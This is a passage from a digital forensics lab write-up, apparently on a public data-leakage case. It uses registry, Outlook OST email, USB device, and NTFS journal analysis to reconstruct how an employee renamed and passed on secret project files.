&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260501174141.png&quot; alt=&quot;Pasted image 20260501174141.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260501174051.png&quot; alt=&quot;Pasted image 20260501174051.png&quot; /&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Value Name&lt;/th&gt;
&lt;th&gt;Data&lt;/th&gt;
&lt;th&gt;Forensic Relevance&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;(default)&lt;/td&gt;
&lt;td&gt;Microsoft Outlook&lt;/td&gt;
&lt;td&gt;Confirms Outlook is installed/configured&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SupportUTF8&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;UTF-8 support enabled (modern email handling)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DLLPathEx&lt;/td&gt;
&lt;td&gt;C:\PROGRA~1\MICROS~2\Office15\OLMAPI32.DLL&lt;/td&gt;
&lt;td&gt;Points to Outlook MAPI library (execution dependency)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DLLPath&lt;/td&gt;
&lt;td&gt;mapi32.dll&lt;/td&gt;
&lt;td&gt;Core MAPI DLL used by Outlook&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MSIComponentID&lt;/td&gt;
&lt;td&gt;{6DB1921F-8B40-4406-A18B-E906DBEEF0C9}&lt;/td&gt;
&lt;td&gt;Unique Office installation component ID&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MSIOfficeLCID&lt;/td&gt;
&lt;td&gt;Office language resources path&lt;/td&gt;
&lt;td&gt;Indicates installed Office language settings&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MSIApplicationLCID&lt;/td&gt;
&lt;td&gt;Outlook UI language settings&lt;/td&gt;
&lt;td&gt;Tracks Outlook language usage&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MSIInstallOnWTS&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;Not installed on Terminal Services&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Where is the e-mail file located and List all e-mails (including deleted).  What was the e-mail account used?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;File is located at,&lt;/li&gt;
&lt;li&gt;&lt;code&gt;C:\Users\informant\AppData\Local\Microsoft\Outlook\iaman.informant@nist.gov.ost&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260501174408.png&quot; alt=&quot;Pasted image 20260501174408.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;To read this email &lt;code&gt;pff-tools&lt;/code&gt; this utility can be used,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;sudo apt install pff-tools
pffexport iaman.informant@nist.gov.ost
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;I found 4 deleted messages under,
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;iaman.informant@nist.gov.ost.expor/Root - Mailbox/IPM_SUBTREE/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/Sent Items/&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Message00001
&lt;ul&gt;
&lt;li&gt;ConversationIndex.txt&lt;/li&gt;
&lt;li&gt;InternetHeaders.txt&lt;/li&gt;
&lt;li&gt;Message.html&lt;/li&gt;
&lt;li&gt;OutlookHeaders.txt&lt;/li&gt;
&lt;li&gt;Recipients.txt&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Message00002
&lt;ul&gt;
&lt;li&gt;...&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/Inbox/&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Message00001
&lt;ul&gt;
&lt;li&gt;ConversationIndex.txt&lt;/li&gt;
&lt;li&gt;InternetHeaders.txt&lt;/li&gt;
&lt;li&gt;Message.html&lt;/li&gt;
&lt;li&gt;OutlookHeaders.txt&lt;/li&gt;
&lt;li&gt;Recipients.txt&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Message00002
&lt;ul&gt;
&lt;li&gt;...&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Message00003
&lt;ul&gt;
&lt;li&gt;...&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Message00004
&lt;ul&gt;
&lt;li&gt;…&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Message00005
&lt;ul&gt;
&lt;li&gt;...&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/Deleted Items/&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Message00001
&lt;ul&gt;
&lt;li&gt;ConversationIndex.txt&lt;/li&gt;
&lt;li&gt;InternetHeaders.txt&lt;/li&gt;
&lt;li&gt;Message.html&lt;/li&gt;
&lt;li&gt;OutlookHeaders.txt&lt;/li&gt;
&lt;li&gt;Recipients.txt&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Message00002
&lt;ul&gt;
&lt;li&gt;...&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Message00003
&lt;ul&gt;
&lt;li&gt;...&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Message00004
&lt;ul&gt;
&lt;li&gt;...&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Sent Items&lt;/h3&gt;
&lt;h4&gt;Message00001&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260501180607.png&quot; alt=&quot;Pasted image 20260501180607.png&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Message00002&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260501180618.png&quot; alt=&quot;Pasted image 20260501180618.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Inbox messages&lt;/h3&gt;
&lt;h4&gt;Message00001&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260501175938.png&quot; alt=&quot;Pasted image 20260501175938.png&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Message00002&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260501175947.png&quot; alt=&quot;Pasted image 20260501175947.png&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Message00003&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260501175958.png&quot; alt=&quot;Pasted image 20260501175958.png&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Message00004&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260501180007.png&quot; alt=&quot;Pasted image 20260501180007.png&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Message00005&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260501180026.png&quot; alt=&quot;Pasted image 20260501180026.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Deleted Messages&lt;/h3&gt;
&lt;h4&gt;Message00001&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260501175301.png&quot; alt=&quot;Pasted image 20260501175301.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://drive.google.com/file/d/0Bz0ye6gXtiZaVl8yVU5mWHlGbWc/view?usp=sharing
https://drive.google.com/file/d/0Bz0ye6gXtiZaVl8yVU5mWHlGbWc/view?usp=sharing
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Message00002&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260501175340.png&quot; alt=&quot;Pasted image 20260501175340.png&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Message00003&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;I am trying.

-----Original Message-----
From: spy 
Sent: Tuesday, March 24, 2015 3:33 PM
To: iaman
Subject: Watch out!

USB device may be easily detected. 

So, try another method.
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Message00004&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260501175413.png&quot; alt=&quot;Pasted image 20260501175413.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;spy.conspirator@nist.gov &amp;lt;-&amp;gt; iaman.informant@nist.gov
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Timestamp&lt;/th&gt;
&lt;th&gt;Source&lt;/th&gt;
&lt;th&gt;From → To&lt;/th&gt;
&lt;th&gt;Subject&lt;/th&gt;
&lt;th&gt;Key Content / Insight&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 13:29:27&lt;/td&gt;
&lt;td&gt;Inbox&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;mailto:spy.conspirator@nist.gov&quot;&gt;spy.conspirator@nist.gov&lt;/a&gt; → &lt;a href=&quot;mailto:iaman.informant@nist.gov&quot;&gt;iaman.informant@nist.gov&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Hello, Iaman&lt;/td&gt;
&lt;td&gt;Initial contact (“How are you doing?”)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:44:31&lt;/td&gt;
&lt;td&gt;Sent&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;mailto:iaman.informant@nist.gov&quot;&gt;iaman.informant@nist.gov&lt;/a&gt; → &lt;a href=&quot;mailto:spy.conspirator@nist.gov&quot;&gt;spy.conspirator@nist.gov&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;RE: Hello, Iaman&lt;/td&gt;
&lt;td&gt;“Successfully secured” → ⚠️ Task acknowledgment&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 15:14:58&lt;/td&gt;
&lt;td&gt;Inbox&lt;/td&gt;
&lt;td&gt;spy → iaman&lt;/td&gt;
&lt;td&gt;Good job, buddy&lt;/td&gt;
&lt;td&gt;Requests &lt;strong&gt;more detailed data&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 15:20:41&lt;/td&gt;
&lt;td&gt;Inbox&lt;/td&gt;
&lt;td&gt;spy ↔ iaman&lt;/td&gt;
&lt;td&gt;RE: Good job, buddy&lt;/td&gt;
&lt;td&gt;iaman agrees to continue (“I’ll be in touch”)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 15:26:22&lt;/td&gt;
&lt;td&gt;Inbox&lt;/td&gt;
&lt;td&gt;spy → iaman&lt;/td&gt;
&lt;td&gt;Important request&lt;/td&gt;
&lt;td&gt;Confirms operation, asks for &lt;strong&gt;more data&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 15:27:05&lt;/td&gt;
&lt;td&gt;Sent&lt;/td&gt;
&lt;td&gt;iaman → spy&lt;/td&gt;
&lt;td&gt;RE: Important request&lt;/td&gt;
&lt;td&gt;Needs time → possible hesitation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:38:47&lt;/td&gt;
&lt;td&gt;Recovered (OST slack)&lt;/td&gt;
&lt;td&gt;iaman → spy&lt;/td&gt;
&lt;td&gt;It&apos;s me&lt;/td&gt;
&lt;td&gt;⚠️ &lt;strong&gt;Google Drive links shared (data exfiltration)&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:41:19&lt;/td&gt;
&lt;td&gt;Deleted&lt;/td&gt;
&lt;td&gt;spy ↔ iaman&lt;/td&gt;
&lt;td&gt;RE: It&apos;s me&lt;/td&gt;
&lt;td&gt;“I got it” → confirms receipt of data&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 09:25:57&lt;/td&gt;
&lt;td&gt;Inbox&lt;/td&gt;
&lt;td&gt;spy → iaman&lt;/td&gt;
&lt;td&gt;Last request&lt;/td&gt;
&lt;td&gt;Requests &lt;strong&gt;remaining data&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 09:35:10&lt;/td&gt;
&lt;td&gt;Deleted&lt;/td&gt;
&lt;td&gt;iaman ↔ spy&lt;/td&gt;
&lt;td&gt;RE: Last request&lt;/td&gt;
&lt;td&gt;iaman: “hard to transfer all data over internet”&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 09:34:00 (approx)&lt;/td&gt;
&lt;td&gt;Thread&lt;/td&gt;
&lt;td&gt;spy → iaman&lt;/td&gt;
&lt;td&gt;RE: Last request&lt;/td&gt;
&lt;td&gt;⚠️ Suggests &lt;strong&gt;physical transfer (storage devices)&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 15:34:02&lt;/td&gt;
&lt;td&gt;Deleted&lt;/td&gt;
&lt;td&gt;iaman ↔ spy&lt;/td&gt;
&lt;td&gt;Watch out!&lt;/td&gt;
&lt;td&gt;⚠️ Avoid USB → suggests detection awareness&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 17:05:09&lt;/td&gt;
&lt;td&gt;Deleted&lt;/td&gt;
&lt;td&gt;iaman → spy&lt;/td&gt;
&lt;td&gt;Done&lt;/td&gt;
&lt;td&gt;⚠️ Final confirmation (“It’s done”)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h1&gt;External Devices &amp;amp; File Activity&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;HKLM\SYSTEM\MountedDevices\ &lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HKLM\SYSTEM\ControlSet###\Enum\USBSTOR\ &lt;/code&gt;
-&lt;code&gt;HKLM\SYSTEM\ControlSet###\Control\DeviceClasses\{a5dcbf10-6530-11d2-901f-00c04fb951ed}\&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HKLM\SYSTEM\ControlSet###\Control\DeviceClasses\{53f56307-b6bf-11d0-94f2-00a0c91efb8b}\&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HKU\informant\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\ &lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HKLM\SOFTWARE\Microsoft\Windows Search\VolumeInfoCach&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;List external storage devices.&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260501183114.png&quot; alt=&quot;Pasted image 20260501183114.png&quot; /&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Timestamp&lt;/th&gt;
&lt;th&gt;Device Type&lt;/th&gt;
&lt;th&gt;Device Name&lt;/th&gt;
&lt;th&gt;Serial Number&lt;/th&gt;
&lt;th&gt;Forensic Relevance&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 13:37:59&lt;/td&gt;
&lt;td&gt;USB&lt;/td&gt;
&lt;td&gt;VID_0781&amp;amp;PID_5571 (SanDisk Cruzer Fit)&lt;/td&gt;
&lt;td&gt;4C530012450531101593&lt;/td&gt;
&lt;td&gt;USB inserted (first device)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 13:38:00&lt;/td&gt;
&lt;td&gt;USBSTOR&lt;/td&gt;
&lt;td&gt;Disk&amp;amp;Ven_SanDisk&amp;amp;Prod_Cruzer_Fit&lt;/td&gt;
&lt;td&gt;4C530012450531101593&lt;/td&gt;
&lt;td&gt;Mass storage mounted&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 13:58:32&lt;/td&gt;
&lt;td&gt;USB&lt;/td&gt;
&lt;td&gt;VID_0781&amp;amp;PID_5571 (SanDisk Cruzer Fit)&lt;/td&gt;
&lt;td&gt;4C530012550531106501&lt;/td&gt;
&lt;td&gt;Second USB device inserted&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 13:58:33&lt;/td&gt;
&lt;td&gt;USBSTOR&lt;/td&gt;
&lt;td&gt;Disk&amp;amp;Ven_SanDisk&amp;amp;Prod_Cruzer_Fit&lt;/td&gt;
&lt;td&gt;4C530012550531106501&lt;/td&gt;
&lt;td&gt;Second storage mounted&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 13:58:34&lt;/td&gt;
&lt;td&gt;Volume&lt;/td&gt;
&lt;td&gt;Mounted Volume&lt;/td&gt;
&lt;td&gt;{A2F2048C-D228-11E4-B630-000C29FF2429}&lt;/td&gt;
&lt;td&gt;Volume created (data access)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 13:05:36&lt;/td&gt;
&lt;td&gt;USB&lt;/td&gt;
&lt;td&gt;VID_0E0F&amp;amp;PID_0003 (VMware Virtual USB)&lt;/td&gt;
&lt;td&gt;6&amp;amp;b77da92&amp;amp;0&amp;amp;1&lt;/td&gt;
&lt;td&gt;Virtual device (lab artifact, ignore operationally)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260501183418.png&quot; alt=&quot;Pasted image 20260501183418.png&quot; /&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Device Name&lt;/th&gt;
&lt;th&gt;Serial Number&lt;/th&gt;
&lt;th&gt;First Seen (System)&lt;/th&gt;
&lt;th&gt;First Connected&lt;/th&gt;
&lt;th&gt;Last Connected&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SanDisk Cruzer Fit USB Device&lt;/td&gt;
&lt;td&gt;4C530012450531101593&lt;/td&gt;
&lt;td&gt;2015-03-23 14:31:10&lt;/td&gt;
&lt;td&gt;2015-03-24 09:38:00&lt;/td&gt;
&lt;td&gt;2015-03-24 13:38:00&lt;/td&gt;
&lt;td&gt;First USB used, short session&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SanDisk Cruzer Fit USB Device&lt;/td&gt;
&lt;td&gt;4C530012550531106501&lt;/td&gt;
&lt;td&gt;2015-03-24 09:58:32&lt;/td&gt;
&lt;td&gt;2015-03-24 09:58:32&lt;/td&gt;
&lt;td&gt;2015-03-24 13:58:33&lt;/td&gt;
&lt;td&gt;Second USB, likely main exfil device&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Identify file renaming traces (Desktop, date range).&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;(It should be considered only during a date range between 2015-03-23 and 2015-03-24.) [Hint: the parent directories of renamed files were deleted and their MFT entries were also overwritten. Therefore, you may not be able to find their full paths.]&lt;/li&gt;
&lt;li&gt;NTFS journal file analysis (&lt;code&gt;UsnJrnl&lt;/code&gt;) - &lt;code&gt;\$Extend\$UsnJrnl·$J&lt;/code&gt; (+ &lt;code&gt;$MFT&lt;/code&gt; for identifying full paths of files)&lt;/li&gt;
&lt;li&gt;With NTFS journal file only, it may be hard to find full paths.&lt;/li&gt;
&lt;li&gt;We can consider the Registry &lt;code&gt;ShellBags&lt;/code&gt; for further information.&lt;/li&gt;
&lt;li&gt;I carved both &lt;code&gt;UsnJournal&lt;/code&gt; and &lt;code&gt;Master File Table&lt;/code&gt; files from &lt;code&gt;\$Extend&lt;/code&gt;,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260501185526.png&quot; alt=&quot;Pasted image 20260501185526.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260501185459.png&quot; alt=&quot;Pasted image 20260501185459.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Converting $MFT and $J to CSV&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;It can be parse using &lt;a href=&quot;https://github.com/EricZimmerman/MFTECmd&quot;&gt;MFTECmd.exe&lt;/a&gt;,&lt;/li&gt;
&lt;li&gt;By corelating it, we found the names.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;MFTECmd.exe -f &quot;$MFT&quot; --csv MFT
MFTECmd.exe -f &quot;$J&quot; --csv J
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Timestamp&lt;/th&gt;
&lt;th&gt;USN (Old → New)&lt;/th&gt;
&lt;th&gt;Original File (Sensitive)&lt;/th&gt;
&lt;th&gt;Renamed To (Cover File)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:41:40&lt;/td&gt;
&lt;td&gt;56306184 → 56306328&lt;/td&gt;
&lt;td&gt;[secret_project]_detailed_proposal.docx&lt;/td&gt;
&lt;td&gt;landscape.png&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:41:55&lt;/td&gt;
&lt;td&gt;56307712 → 56307848&lt;/td&gt;
&lt;td&gt;[secret_project]_design_concept.ppt&lt;/td&gt;
&lt;td&gt;space_and_earth.mp4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:30:44&lt;/td&gt;
&lt;td&gt;58506640 → 58506776&lt;/td&gt;
&lt;td&gt;(secret_project)_pricing_decision.xlsx&lt;/td&gt;
&lt;td&gt;happy_holiday.jpg&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:31:02&lt;/td&gt;
&lt;td&gt;58510288 → 58510424&lt;/td&gt;
&lt;td&gt;[secret_project]_final_meeting.pptx&lt;/td&gt;
&lt;td&gt;do_u_wanna_build_a_snow_man.mp3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 09:49:51&lt;/td&gt;
&lt;td&gt;59801680 → 59801816&lt;/td&gt;
&lt;td&gt;[secret_project]_detailed_design.pptx&lt;/td&gt;
&lt;td&gt;winter_weather_advisory.zip&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 09:50:08&lt;/td&gt;
&lt;td&gt;59802408 → 59802544&lt;/td&gt;
&lt;td&gt;[secret_project]_revised_points.ppt&lt;/td&gt;
&lt;td&gt;winter_storm.amr&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 09:50:49&lt;/td&gt;
&lt;td&gt;59803456 → 59803592&lt;/td&gt;
&lt;td&gt;[secret_project]_design_concept.ppt&lt;/td&gt;
&lt;td&gt;space_and_earth.mp4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 09:52:35&lt;/td&gt;
&lt;td&gt;59814352 → 59814488&lt;/td&gt;
&lt;td&gt;[secret_project]_final_meeting.pptx&lt;/td&gt;
&lt;td&gt;do_u_wanna_build_a_snow_man.mp3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 09:52:56&lt;/td&gt;
&lt;td&gt;59814904 → 59815040&lt;/td&gt;
&lt;td&gt;(secret_project)_market_analysis.xlsx&lt;/td&gt;
&lt;td&gt;new_years_day.jpg&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 09:53:08&lt;/td&gt;
&lt;td&gt;59815232 → 59815360&lt;/td&gt;
&lt;td&gt;(secret_project)_market_shares.xls&lt;/td&gt;
&lt;td&gt;super_bowl.avi&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 09:53:38&lt;/td&gt;
&lt;td&gt;59815536 → 59815680&lt;/td&gt;
&lt;td&gt;(secret_project)_price_analysis_#1.xlsx&lt;/td&gt;
&lt;td&gt;my_favorite_movies.7z&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 09:53:52&lt;/td&gt;
&lt;td&gt;59815968 → 59816104&lt;/td&gt;
&lt;td&gt;(secret_project)_price_analysis_#2.xls&lt;/td&gt;
&lt;td&gt;my_favorite_cars.db&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 09:54:05&lt;/td&gt;
&lt;td&gt;59816312 → 59816448&lt;/td&gt;
&lt;td&gt;(secret_project)_pricing_decision.xlsx&lt;/td&gt;
&lt;td&gt;happy_holiday.jpg&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 09:54:23&lt;/td&gt;
&lt;td&gt;59816880 → 59817008&lt;/td&gt;
&lt;td&gt;[secret_project]_progress_#1.docx&lt;/td&gt;
&lt;td&gt;my_smartphone.png&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 09:54:43&lt;/td&gt;
&lt;td&gt;59817984 → 59818112&lt;/td&gt;
&lt;td&gt;[secret_project]_progress_#2.docx&lt;/td&gt;
&lt;td&gt;new_year_calendar.one&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 09:54:52&lt;/td&gt;
&lt;td&gt;59818320 → 59818448&lt;/td&gt;
&lt;td&gt;[secret_project]_progress_#3.doc&lt;/td&gt;
&lt;td&gt;my_friends.svg&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 09:55:08&lt;/td&gt;
&lt;td&gt;59818624 → 59818768&lt;/td&gt;
&lt;td&gt;[secre\t_project]_detailed_proposal.docx&lt;/td&gt;
&lt;td&gt;a_gift_from_you.gif&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 09:55:17&lt;/td&gt;
&lt;td&gt;59818976 → 59819096&lt;/td&gt;
&lt;td&gt;[secret_project]_proposal.docx&lt;/td&gt;
&lt;td&gt;landscape.png&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 09:55:32&lt;/td&gt;
&lt;td&gt;59819272 → 59819416&lt;/td&gt;
&lt;td&gt;[secret_project]_technical_review_#1.docx&lt;/td&gt;
&lt;td&gt;diary_#1d.txt&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 09:55:42&lt;/td&gt;
&lt;td&gt;59819592 → 59819736&lt;/td&gt;
&lt;td&gt;[secret_project]_technical_review_#1.pptx&lt;/td&gt;
&lt;td&gt;diary_#1p.txt&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 09:55:53&lt;/td&gt;
&lt;td&gt;59819912 → 59820056&lt;/td&gt;
&lt;td&gt;[secret_project]_technical_review_#2.docx&lt;/td&gt;
&lt;td&gt;diary_#2d.txt&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 09:56:09&lt;/td&gt;
&lt;td&gt;59823280 → 59823424&lt;/td&gt;
&lt;td&gt;[secret_project]_technical_review_#2.ppt&lt;/td&gt;
&lt;td&gt;diary_#2p.txt&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 09:56:14&lt;/td&gt;
&lt;td&gt;59823600 → 59823744&lt;/td&gt;
&lt;td&gt;[secret_project]_technical_review_#3.doc&lt;/td&gt;
&lt;td&gt;diary_#3d.txt&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 09:56:20&lt;/td&gt;
&lt;td&gt;59823920 → 59824064&lt;/td&gt;
&lt;td&gt;[secret_project]_technical_review_#3.ppt&lt;/td&gt;
&lt;td&gt;diary_#3p.txt&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h1&gt;Network Drive Analysis&lt;/h1&gt;
&lt;ul&gt;
